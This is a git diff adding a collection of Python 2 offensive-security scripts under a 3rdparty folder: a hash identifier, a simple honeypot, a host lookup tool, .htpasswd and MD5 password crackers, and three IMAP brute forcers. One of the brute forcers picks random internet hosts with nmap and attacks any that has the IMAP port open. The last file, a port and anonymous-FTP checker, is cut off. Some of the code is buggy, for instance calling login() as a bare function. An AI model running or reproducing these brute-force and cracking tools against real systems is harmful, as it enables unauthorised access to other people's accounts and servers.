+def RipeMD320():
+    hs='b4f7c8993a389eac4f421b9b3b2bfb3a241d05949324a8dab1286069a18de69aaf5ecc3c2009d8ef'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("118020")
+def RipeMD320HMAC():
+    hs='244516688f8ad7dd625836c0d0bfc3a888854f7c0161f01de81351f61e98807dcd55b39ffe5d7a78'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("118040")
+
+def SHA384():
+    hs='3b21c44f8d830fa55ee9328a7713c6aad548fe6d7a4a438723a0da67c48c485220081a2fbc3e8c17fd9bd65f8d4b4e6b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("119020")
+def SHA384HMAC():
+    hs='bef0dd791e814d28b4115eb6924a10beb53da47d463171fe8e63f68207521a4171219bb91d0580bca37b0f96fddeeb8b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("119040")
+
+def SHA256s():
+    hs='$6$g4TpUQzk$OmsZBJFwvy6MwZckPvVYfDnwsgktm2CckOlNJGy9HNwHSuHFvywGIuwkJ6Bjn3kKbB6zoyEjIYNMpHWBNxJ6g.'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$6$')==0:
+        jerar.append("120020")
+
+def SHA384Django():
+    hs='sha384$Zion3R$88cfd5bc332a4af9f09aa33a1593f24eddc01de00b84395765193c3887f4deac46dc723ac14ddeb4d3a9b958816b7bba'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha384')==0:
+        print " [+] SHA-384(Django)"
+        jerar.append("121020")
+
+def SHA512():
+    hs='ea8e6f0935b34e2e6573b89c0856c81b831ef2cadfdee9f44eb9aa0955155ba5e8dd97f85c73f030666846773c91404fb0e12fb38936c56f8cf38a33ac89a24e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("122020")
+def SHA512HMAC():
+    hs='dd0ada8693250b31d9f44f3ec2d4a106003a6ce67eaa92e384b356d1b4ef6d66a818d47c1f3a2c6e8a9a9b9bdbd28d485e06161ccd0f528c8bbb5541c3fef36f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("122060")
+def Whirlpool():
+    hs='76df96157e632410998ad7f823d82930f79a96578acc8ac5ce1bfc34346cf64b4610aefa8a549da3f0c1da36dad314927cebf8ca6f3fcd0649d363c5a370dddb'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("122040")
+def WhirlpoolHMAC():
+    hs='77996016cf6111e97d6ad31484bab1bf7de7b7ee64aebbc243e650a75a2f9256cef104e504d3cf29405888fca5a231fcac85d36cd614b1d52fce850b53ddf7f9'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("122080")
+
+
+print logo
+while True:
+    jerar=[]
+    print """
+   -------------------------------------------------------------------------"""
+    hash = raw_input(" HASH: ")
+    ADLER32(); CRC16(); CRC16CCITT(); CRC32(); CRC32B(); DESUnix(); DomainCachedCredentials(); FCS16(); GHash323(); GHash325(); GOSTR341194(); Haval128(); Haval128HMAC(); Haval160(); Haval160HMAC(); Haval192(); Haval192HMAC(); Haval224(); Haval224HMAC(); Haval256(); Haval256HMAC(); LineageIIC4(); MD2(); MD2HMAC(); MD4(); MD4HMAC(); MD5(); MD5APR(); MD5HMAC(); MD5HMACWordpress(); MD5phpBB3(); MD5Unix(); MD5Wordpress(); MD5Half(); MD5Middle(); MD5passsaltjoomla1(); MD5passsaltjoomla2(); MySQL(); MySQL5(); MySQL160bit(); NTLM(); RAdminv2x(); RipeMD128(); RipeMD128HMAC(); RipeMD160(); RipeMD160HMAC(); RipeMD256(); RipeMD256HMAC(); RipeMD320(); RipeMD320HMAC(); SAM(); SHA1(); SHA1Django(); SHA1HMAC(); SHA1MaNGOS(); SHA1MaNGOS2(); SHA224(); SHA224HMAC(); SHA256(); SHA256s(); SHA256Django(); SHA256HMAC(); SHA256md5pass(); SHA256sha1pass(); SHA384(); SHA384Django(); SHA384HMAC(); SHA512(); SHA512HMAC(); SNEFRU128(); SNEFRU128HMAC(); SNEFRU256(); SNEFRU256HMAC(); Tiger128(); Tiger128HMAC(); Tiger160(); Tiger160HMAC(); Tiger192(); Tiger192HMAC(); Whirlpool(); WhirlpoolHMAC(); XOR32(); md5passsalt(); md5saltmd5pass(); md5saltpass(); md5saltpasssalt(); md5saltpassusername(); md5saltmd5pass(); md5saltmd5passsalt(); md5saltmd5passsalt(); md5saltmd5saltpass(); md5saltmd5md5passsalt(); md5username0pass(); md5usernameLFpass(); md5usernamemd5passsalt(); md5md5pass(); md5md5passsalt(); md5md5passmd5salt(); md5md5saltpass(); md5md5saltmd5pass(); md5md5usernamepasssalt(); md5md5md5pass(); md5md5md5md5pass(); md5md5md5md5md5pass(); md5sha1pass(); md5sha1md5pass(); md5sha1md5sha1pass(); md5strtouppermd5pass(); sha1passsalt(); sha1saltpass(); sha1saltmd5pass(); sha1saltmd5passsalt(); sha1saltsha1pass(); sha1saltsha1saltsha1pass(); sha1usernamepass(); sha1usernamepasssalt(); sha1md5pass(); sha1md5passsalt(); sha1md5sha1pass(); sha1sha1pass(); sha1sha1passsalt(); sha1sha1passsubstrpass03(); sha1sha1saltpass(); sha1sha1sha1pass(); sha1strtolowerusernamepass()
+
+    if len(jerar)==0:
+        print ""
+        print " Not Found."
+    elif len(jerar)>2:
+        jerar.sort()
+        print ""
+        print "Possible Hashs:"
+        print "[+] ",algorithms[jerar[0]]
+        print "[+] ",algorithms[jerar[1]]
+        print ""
+        print "Least Possible Hashs:"
+        for a in range(int(len(jerar))-2):
+            print "[+] ",algorithms[jerar[a+2]]
+    else:
+        jerar.sort()
+        print ""
+        print "Possible Hashs:"
+        for a in range(len(jerar)):
+            print "[+] ",algorithms[jerar[a]]
diff --git a/3rdparty/honeypot.py b/3rdparty/honeypot.py
new file mode 100644
index 0000000..cc8caf1
--- /dev/null
+++ b/3rdparty/honeypot.py
@@ -0,0 +1,43 @@
+#!/usr/bin/python
+# Demonstrates a very simple honeypot.
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import socket
+import string
+import sys
+
+if len(sys.argv) != 3:
+	print "\nUsage: ./honeypot.py <port> <file to save attempts>"
+	print "Ex: ./honeypot.py 21 attacks.txt\n"
+	sys.exit(1)
+	
+banner = raw_input("\nPlease Enter Banner: ")
+
+#Lets setup the socket
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
+s.bind(("", int(sys.argv[1])))
+print "\n[+] Waiting for connections...\n"
+s.listen(5)
+
+while 1:
+	try:
+		(clientsock, clientaddr) = s.accept() 
+		print "\a"*5  #Setup to beep 5 times on connection
+		clienthost = clientsock.getpeername()[0]
+		clientport = clientsock.getpeername()[1]
+		file = open(sys.argv[2], "a")  #Logs remote ip/potrt
+		print "-"*45
+		print "[-] Connection attempt:",clienthost+":"+str(clientport)
+		file.writelines("\n"+clienthost+":"+str(clientport))
+		clientsock.send("\n"+banner+"\n\n") 
+		resp = clientsock.recv(1024)
+		clientsock.send("\nIllegal Access, your IP ["+clienthost+"] has been logged.\n\n")
+		clientsock.close()
+		file.close()
+	except(KeyboardInterrupt):
+		print "\n[-] Exiting:",timer()
+		sys.exit(1)
+	except:
+		continue
\ No newline at end of file
diff --git a/3rdparty/hostlookup.py b/3rdparty/hostlookup.py
new file mode 100644
index 0000000..f821b73
--- /dev/null
+++ b/3rdparty/hostlookup.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python
+#Retrieves fully-qualified hostnames from ip_range.
+#d3hydr8[at]gmail[dot]com
+
+import sys, socket
+
+def getips(ip_range):
+	
+	lst = []
+	ip_range = ip_range.rsplit(".",2)
+	if len(ip_range[1].split("-",1)) ==2:
+		for i in range(int(ip_range[1].split("-",1)[0]),int(ip_range[1].split("-",1)[1])+1,1):
+			lst.append(ip_range[0]+"."+str(i)+".")
+		for ip in lst:
+			for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+				iplist.append(ip+str(i))
+		return iplist
+	if len(ip_range[1].split("-",1)) ==1:
+		for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+			iplist.append(ip_range[0]+"."+str(ip_range[1].split("-",1)[0])+"."+str(i))
+		return iplist
+			
+def sock(ips):
+	
+	print "Length:",len(iplist)
+	for i in ips:
+		
+		try:
+			#Getting fully-qualified hostname.
+			rec = socket.getfqdn(i)
+			print "Hostname:",rec
+			#Getting the right ip for the hostname.
+			ips = socket.getaddrinfo(rec, None, 0, socket.SOCK_STREAM)
+			print "\tIP addresses:",ips[0][4][0]
+		except (socket.herror,socket.gaierror), msg:
+			pass
+	
+if len(sys.argv) !=2:
+	print "Usage: ./hostlookup.py 192.168.1-254.0-255"
+	sys.exit(1)
+else:
+	iplist = []
+	sock(getips(sys.argv[1]))
+	
\ No newline at end of file
diff --git a/3rdparty/htcrack.py b/3rdparty/htcrack.py
new file mode 100644
index 0000000..6d5baa1
--- /dev/null
+++ b/3rdparty/htcrack.py
@@ -0,0 +1,29 @@
+#!/usr/bin/python
+#Attempts to crack .htpasswd against wordlist
+#also cracks FrontPage passwds.
+
+#http://darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import crypt, sys
+
+if len(sys.argv) != 3:
+	print "Usage: ./htcrack.py <password> <wordlist>"
+	print "ex: ./htcrack.py user:62P1DYLgPe5S6 /home/d3hydr8/wordlist.txt"
+	sys.exit(1)
+	
+pw = sys.argv[1].split(":",1)
+try:
+  words = open(sys.argv[2], "r")
+except(IOError): 
+  print "Error: Check your wordlist path\n"
+  sys.exit(1)
+wds = words.readlines()
+print "\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-"
+print "\n",len(wds),"words loaded..."
+for w in wds:
+	if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]: 
+		print "\nCracked:",pw[0]+":"+w,"\n"
+	
+		
+
diff --git a/3rdparty/icrack.py b/3rdparty/icrack.py
new file mode 100644
index 0000000..c425296
--- /dev/null
+++ b/3rdparty/icrack.py
@@ -0,0 +1,267 @@
+#!/usr/bin/env python
+#
+# File_name: md5 hash cracker
+# Writin by: lnxg33k <ahmed[at]isecur1ty.org>
+# Currently contains about 13 site for cracking
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+
+import sys
+import time
+import urllib2
+import urllib 
+import re
+import hashlib
+
+if len(sys.argv) < 2:
+  print '\nUsage:'
+  print '\t%s --online [hash..] ' % sys.argv[0]
+  print '\t%s --offline [hash..] [dictionary..]'  % sys.argv[0]
+  sys.exit(1)
+
+def banner():
+  print '''
+                  ___           ___           ___           ___           ___     
+    ___          /  /\         /  /\         /  /\         /  /\         /__/|    
+   /  /\        /  /:/        /  /::\       /  /::\       /  /:/        |  |:|    
+  /  /:/       /  /:/        /  /:/\:\     /  /:/\:\     /  /:/         |  |:|    
+ /__/::\      /  /:/  ___   /  /:/~/:/    /  /:/~/::\   /  /:/  ___   __|  |:|    
+ \__\/\:\__  /__/:/  /  /\ /__/:/ /:/___ /__/:/ /:/\:\ /__/:/  /  /\ /__/\_|:|____
+    \  \:\/\ \  \:\ /  /:/ \  \:\/:::::/ \  \:\/:/__\/ \  \:\ /  /:/ \  \:\/:::::/
+     \__\::/  \  \:\  /:/   \  \::/~~~~   \  \::/       \  \:\  /:/   \  \::/~~~~ 
+     /__/:/    \  \:\/:/     \  \:\        \  \:\        \  \:\/:/     \  \:\     
+     \__\/      \  \::/       \  \:\        \  \:\        \  \::/       \  \:\    
+                 \__\/         \__\/         \__\/         \__\/         \__\/
+  
+        |-----------------------------------------------|
+        | [+] MD5 Hash Cracker (online | offline)       |
+        | [+] Home: http://www.isecur1ty.org            |
+        | [+] Written by: isecur1ty team members        |
+        | [+] Credits: Obzy, Relik and Sas-TerrOrisT    |
+        |-----------------------------------------------|
+'''
+
+option   = sys.argv[1]
+passwd   = sys.argv[2]
+
+if option == '--online':
+  if len(passwd) != 32: 
+    print '\n[*] Error: "%s" doesn\'t seem to be a valid MD5 hash "32 bit hexadecimal"' % passwd
+  else:
+    try:
+      banner()
+      def myaddr():
+        site = 'http://md5.my-addr.com/'
+        rest = 'md5_decrypt-md5_cracker_online/md5_decoder_tool.php'
+        para = urllib.urlencode({'md5':passwd})
+        req  = urllib2.Request(site+rest)
+        try:
+          fd   = urllib2.urlopen(req, para)
+          data = fd.read()
+          match= re.search('(Hashed string</span>: )(\w+.\w+)', data)
+          if match: print '[-] site: %s\t\t\tPassword: %s' % (site, match.group(2))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError:  print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      myaddr()
+
+      def victorov():
+        try:
+          site = 'http://www.victorov.su/'
+          para = 'md5/?md5e=&md5d=%s' % passwd
+          req  = urllib2.Request(site+para)
+          req.add_header
+          opener = urllib2.urlopen(req)
+          data = opener.read()
+          match = re.search('(<b>)(.+[^>])(</b>)', data)
+          if match: print '[-] site: %s\t\t\tPassword: %s' % (site, match.group(2))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError:  print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      victorov()
+      
+      def md5crack():
+        site = 'http://www.md5crack.com/'
+        rest = 'crackmd5.php'
+        para = urllib.urlencode({'term':passwd})
+        req = urllib2.Request(site+rest)
+        try: 
+          fd = urllib2.urlopen(req, para)
+          data = fd.read()
+          match = re.search('(Found: md5)(..)(\w+.\w+)', data)
+          if match: print '[=] site: %s\t\t\tPassword: %s' % (site, match.group(3))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error seems to be down' % site
+      md5crack()
+      
+      def passcracking():
+        site = 'http://passcracking.com/'
+        rest = 'index.php'
+        para = urllib.urlencode({'datafromuser':passwd})
+        req = urllib2.Request(site+rest)
+        try:
+          fd = urllib2.urlopen(req, para)
+          data = fd.read()
+          match = re.search(r"(<td bgcolor=#FF0000>)(.+[^<])(</td><td>)", data)
+          if match: print '[-] site: %s\t\t\tPassword: %s' % (site, match.group(2))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      passcracking()
+
+      def rednoize():
+        site = 'http://md5.rednoize.com/'
+        para = 'p&s=md5&q=%s&_=' % passwd
+        try:
+          req = urllib2.urlopen(site+'?'+para)
+          data = req.read()
+          if not len(data): print '[-] site: %s\t\t\tPassword: Not found' %site
+          else: print '[-] site: %s\t\t\tPassword: %s' % (site, data)
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      rednoize()
+
+      def md5pass():
+        site = 'http://www.md5pass.info/'
+        para = urllib.urlencode({'hash':passwd, 'get_pass':'Get+Pass'})
+        req = urllib2.Request(site)
+        try:
+          fd = urllib2.urlopen(req, para)
+          data = fd.read()
+          match = re.search('(Password - <b>)(\w+)', data)
+          if match: print '[-] site: %s\t\t\tPassword: %s' % (site, match.group(2))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      md5pass()
+
+      def md5decryption():
+        site = 'http://md5decryption.com/'
+        para = urllib.urlencode({'hash':passwd,'submit':'Decrypt+It!'})
+        req = urllib2.Request(site)
+        try:
+          fd = urllib2.urlopen(req, para)
+          data = fd.read()
+          match = re.search(r'(Decrypted Text: </b>)(.+[^>])(</font><br/><center>)', data)
+          if match: print '[-] site: %s\t\t\tPassword: %s' % (site, match.group(2))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      md5decryption()
+
+      def hashkiller():
+        site = 'http://opencrack.hashkiller.com/'
+        para = urllib.urlencode({'oc_check_md5':passwd,'oc_submit':'Search+MD5'})
+        req = urllib2.Request(site)
+        try:
+          fd = urllib2.urlopen(req, para)
+          data = fd.read()
+          match = re.search('(<div class="result">)(\w+)(:)(\w+.\w+)', data)
+          if match:
+            print '[-] site: %s\t\t\tPassword: %s' % (site.replace('http://', ''), match.group(4).replace('<br',''))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site.replace('http://', '')
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      hashkiller()
+
+      def bigtrapeze():
+        site = 'http://www.bigtrapeze.com/'
+        rest = 'md5/index.php?query=%s' % passwd
+        req = urllib2.Request(site+rest)
+        req.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2)\
+        Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2')
+        try:
+          opener = urllib2.build_opener()
+          data = opener.open(req).read()
+          match = re.search('(=> <strong>)(\w+.\w+)', data)
+          if match: print '[-] site: %s\t\t\tPassword: %s' % (site, match.group(2))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      bigtrapeze()
+
+      def cloudcracker():
+        site = 'http://www.netmd5crack.com/'
+        para = 'cgi-bin/Crack.py?InputHash=%s' % passwd
+        try:
+          req = urllib.urlopen(site+para)
+          data = req.read()
+          match = re.search(r'<tr><td class="border">[^<]+</td><td class="border">\
+          (?P<hash>[^>]+)</td></tr></tbody></table>', data)
+          if match: print '[-] site: %s\t\t\tPassword: %s' % (site, match.group(hash))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      cloudcracker()
+
+      def hashchecker():
+        site = 'http://www.hashchecker.com/'
+        para = urllib.urlencode({'search_field':passwd, 'Submit':'search'})
+        req = urllib2.Request(site)
+        try:
+          fd = urllib2.urlopen(req, para)
+          data = fd.read()
+          match = re.search('(is <b>)(\w+)', data)
+          if match: print '[-] site: %s\t\t\tPassword: %s' % (site, match.group(2))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      hashchecker()  
+
+      def hashcracking():
+        site = 'http://md5.hashcracking.com/'
+        rest = 'search.php'
+        para = 'md5=%s' % passwd
+        try:
+          req = urllib2.urlopen(site+rest+'?'+para)
+          data = req.read()
+          match = re.search('(is)(.)(\w+.\w+)', data)
+          if match: print '[-] site: %s\t\t\tPassword: %s' % (site, match.group(3))
+          else: print '[-] site: %s\t\t\tPassword: Not found' % site
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      hashcracking()
+
+      def cloudcracker():
+        site = 'http://www.cloudcracker.net/'
+        para = urllib.urlencode({'inputbox':passwd, 'submit':'Crack+MD5+Hash!'})
+        req = urllib2.Request(site)
+        try:
+          fd = urllib2.urlopen(req, para)
+          data = fd.read()
+          match = re.search('(this.select)(....)(\w+=")(\w+.\w+)', data)
+          if match: print '[-] site: %s\t\t\tPassword: %s\n' % (site, match.group(4))
+          else: print '[-] site: %s\t\t\tPassword: Not found\n' % site
+        except urllib2.URLError: print '[+] site: %s \t\t\t[+] Error: seems to be down' % site
+      cloudcracker()
+    except KeyboardInterrupt: print '\nTerminated by user ...'
+    
+elif option == '--offline':
+  banner()
+  try:
+    def offline():
+      print '[+] This opertaion will take some time, be patient ...' 
+      dictionary = sys.argv[3]
+      dic = {}
+      shooter = 0
+      try:
+        f = open(dictionary, 'rb')
+        start = time.time()
+        for line in f:
+          line = line.rstrip()
+          dic[line] = hashlib.md5(line).hexdigest()
+        for k in dic.keys(): 
+          if passwd in dic[k]:
+            stop = time.time()
+            global spent
+            spent = stop - start
+            print '\n[-] Hash: %s\t\tData: %s\t\tTime: %.f seconds' % (dic[k], k, spent)
+            shooter += 1
+        if shooter == 0:  print "\n[*]Password not found in [%s] try the online cracker\n" % dictionary
+        f.close()
+      except IOError: print '\n[*] Erorr: %s doesn\'t exsit \n' % dictionary
+    offline()
+  except KeyboardInterrupt: print '\nTerminated by user ...'
+  
+else: pass 
diff --git a/3rdparty/imapbrute.py b/3rdparty/imapbrute.py
new file mode 100644
index 0000000..ded9d16
--- /dev/null
+++ b/3rdparty/imapbrute.py
@@ -0,0 +1,77 @@
+#!usr/bin/python
+#IMAP Brute Forcer
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, imaplib, socket
+from imaplib import IMAP4
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./imapbrute.py <server> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com imapBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return value[0][:-1], users[0]
+	else:
+		return value[0][:-1], users[0][:-1]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		value, user = getword()
+		try:
+			print "-"*12
+			print "User:",user,"Password:",value
+			M = imaplib.IMAP4(sys.argv[1])
+			M = login(user, value)
+			print "\t\nLogin successful:",user, value 
+			M.close()
+			M.logout()
+			work.join()
+			sys.exit(2)
+		except(IMAP4.error, socket.gaierror, socket.error, socket.herror), msg: 
+			print "An error occurred:", msg
+			pass
+ 
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/imapbrute_iprange.py b/3rdparty/imapbrute_iprange.py
new file mode 100644
index 0000000..ff6dabf
--- /dev/null
+++ b/3rdparty/imapbrute_iprange.py
@@ -0,0 +1,92 @@
+#!usr/bin/python
+#IMAP Brute Forcer, searches ip_range for hosts using imap.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, imaplib, re, socket
+from imaplib import IMAP4
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./imapbrute.py <ip_range> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com imapBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+
+wordlist = copy(words)
+
+def scan():
+
+	iprange = sys.argv[1]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	return ip_list
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			M = imaplib.IMAP4(ip)
+			M = login(user[:-1], value)
+			print "\t\nLogin successful:",user, value
+			M.close()
+			M.logout()
+			work.join()
+			sys.exit(2)
+		except(IMAP4.error, socket.gaierror, socket.error, socket.herror), msg: 
+			print "An error occurred:", msg
+			pass
+ 
+ip_list = scan()
+print "[+] Hosts Loaded:",len(ip_list),"\n"
+for ip in ip_list:
+	print "\n\tAttempting BruteForce:",ip,"\n"
+	for user in users:
+		for i in range(len(words)):
+			if i == 0: reloader()
+			work = Workhorse()
+			work.start()
+			time.sleep(1)
diff --git a/3rdparty/imapbrute_random.py b/3rdparty/imapbrute_random.py
new file mode 100644
index 0000000..205cb75
--- /dev/null
+++ b/3rdparty/imapbrute_random.py
@@ -0,0 +1,91 @@
+#!usr/bin/python
+#Uses nmap to check if imap port is open, brute forces if it is.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, imaplib, re, socket
+from imaplib import IMAP4
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./imapbrute.py <how many to scan> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com imapBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1],"hosts"
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def scan():
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 143 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:    		
+			return ipaddr
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			M = imaplib.IMAP4(ipaddr[0])
+			M = login(user[:-1], value)
+			print "\t\nLogin successful:",user, value
+			M.close()
+			M.logout()
+			work.join()
+			sys.exit(2)
+		except(IMAP4.error, socket.gaierror, socket.error, socket.herror), msg: 
+			print "An error occurred:", msg
+			pass
+
+for x in range(int(sys.argv[1])):
+	print "Scanning:",x,"of",sys.argv[1]
+	ipaddr = scan()
+	if ipaddr != None:
+		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
+		for user in users:
+			for i in range(len(words)):
+				if i == 0: reloader()
+				work = Workhorse()
+				work.start()
+				time.sleep(2)
+
diff --git a/3rdparty/ipbanscan.py b/3rdparty/ipbanscan.py
new file mode 100644
index 0000000..fa70bf9
--- /dev/null
+++ b/3rdparty/ipbanscan.py
@@ -0,0 +1,89 @@
+#!/usr/bin/python
+
+import commands, sys, getopt, StringIO, re, string, ftplib
+from ftplib import *
+
+tmp, args = getopt.getopt(sys.argv[1:],"")
+	
+def getopen():
+
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+host)[1]).readlines()
+	return nmap
+	
+def sock(plist):
+	
+	for port in plist:
+		print "\nChecking port:",port
+		try:
+			import socket, time
+		
+			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+			s.settimeout(15)
+			s.connect((host, int(port)))
+			time.sleep(4)
+			s.send("\r\n")
+			response = s.recvfrom(1024)[0]
+			s.close()
+			if response:
+				print "++[ Response:",host,"on port",port,"\n"
+				print "\t",response
+		except socket.error, msg:
+			s.close()
+   			print "An error occurred:", msg
+			
+def http(p):
+	
+	import httplib
+	try:# make a http HEAD request
+		h = httplib.HTTP(host+":"+p)
+		h.putrequest("HEAD", "/")
+		h.putheader("Host", host)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+		print "\nChecking port:",p
+		print "++[ Response:",host,"on port",p,"\n"
+		print "\t",headers.get("Server"),"\n"
+	except: 
+		print "Error: Name or service not known. Check your host."
+		pass
+
+def ftp(p):
+	
+	try:
+		print "Checking for anonymous login on",host
+		ftp = FTP(host)
+		ftp.login()
+		ftp.retrlines('LIST')
+		print "\t\nAnonymous login successful on",host,"\n"
+		ftp.quit()
